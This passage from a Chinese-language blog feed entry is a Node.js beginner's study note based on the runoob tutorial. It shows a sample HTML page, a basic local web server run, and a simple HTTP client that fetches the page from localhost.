class="highlight plain"><figcaption><span>index.html 文件</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><!DOCTYPE html></span><br><span class="line"><html></span><br><span class="line"><head></span><br><span class="line"><meta charset="utf-8"></span><br><span class="line"><title>菜鸟教程(runoob.com)</title></span><br><span class="line"></head></span><br><span class="line"><body></span><br><span class="line"> <h1>我的第一个标题</h1></span><br><span class="line"> <p>我的第一个段落。</p></span><br><span class="line"></body></span><br><span class="line"></html></span><br></pre></td></tr></table></figure><p>执行 server.js 文件:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ node server.js</span><br><span class="line">Server running at http://127.0.0.1:8080/</span><br></pre></td></tr></table></figure><p>接着我们在浏览器中打开地址:<a href="http://127.0.0.1:8080/index.html,显示如下图所示" target="_blank" rel="noopener">http://127.0.0.1:8080/index.html,显示如下图所示</a>:<br><img src="http://www.runoob.com/wp-content/uploads/2015/09/6E0D2A5C-0339-4D61-858D-A4EEB5763D98.jpg" alt=""><br>执行 server.js 的控制台输出信息如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Server running at http://127.0.0.1:8080/</span><br><span class="line">Request for /index.html received. # 客户端请求信息</span><br></pre></td></tr></table></figure><h2 id="使用-Node-创建-Web-客户端"><a href="#使用-Node-创建-Web-客户端" class="headerlink" title="使用 Node 创建 Web 客户端"></a>使用 Node 创建 Web 客户端</h2><p>Node 创建 Web 客户端需要引入 http 模块,创建 client.js 文件,代码如下所示:</p><figure class="highlight plain"><figcaption><span>client.js</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">var http = require('http');</span><br><span class="line"> </span><br><span class="line">// 用于请求的选项</span><br><span class="line">var options = {</span><br><span class="line"> host: 'localhost',</span><br><span class="line"> port: '8080',</span><br><span class="line"> path: '/index.html' </span><br><span class="line">};</span><br><span class="line"> </span><br><span class="line">// 处理响应的回调函数</span><br><span class="line">var callback = function(response){</span><br><span class="line"> // 不断更新数据</span><br><span class="line"> var body = '';</span><br><span class="line"> response.on('data', function(data) {</span><br><span class="line"> body += data;</span><br><span class="line"> });</span><br><span class="line"> </span><br><span class="line"> response.on('end', function() {</span><br><span class="line"> // 数据接收完成</span><br><span class="line"> console.log(body);</span><br><span class="line"> });</span><br><span class="line">}</span><br><span class="line">// 向服务端发送请求</span><br><span class="line">var req = http.request(options, callback);</span><br><span class="line">req.end();</span><br></pre></td></tr></table></figure><p>新开一个终端,执行 client.js 文件,输出结果如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">$ node client.js </span><br><span class="line"><!DOCTYPE html></span><br><span class="line"><html></span><br><span class="line"><head></span><br><span class="line"><meta charset="utf-8"></span><br><span class="line"><title>菜鸟教程(runoob.com)</title></span><br><span class="line"></head></span><br><span class="line"><body></span><br><span class="line"> <h1>我的第一个标题</h1></span><br><span class="line"> <p>我的第一个段落。</p></span><br><span class="line"></body></span><br><span class="line"></html></span><br></pre></td></tr></table></figure><p>执行 server.js 的控制台输出信息如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Server running at http://127.0.0.1:8080/</span><br><span class="line">Request for /index.html received. # 客户端请求信息</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<p>自学参考 <a href="http://www.runoob.com/nodejs/nodejs-tutorial.html" target="_blank" rel="noopener">http://www.runoob.com/nodejs/nodejs-tutorial.html</a></p>
<h1 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h1><p>简单的说 Node.js 就是运行在服务端的 JavaScript。<br>Node.js 是一个基于Chrome JavaScript 运行时建立的一个平台。<br>Node.js是一个事件驱动I/O服务端JavaScript环境,基于Google的V8引擎,V8引擎执行Javascript的速度非常快,性能非常好。</p>
</summary>
<category term="网页" scheme="https://iwannatobehappy.github.io/tags/%E7%BD%91%E9%A1%B5/"/>
<category term="nodejs" scheme="https://iwannatobehappy.github.io/tags/nodejs/"/>
</entry>
</feed>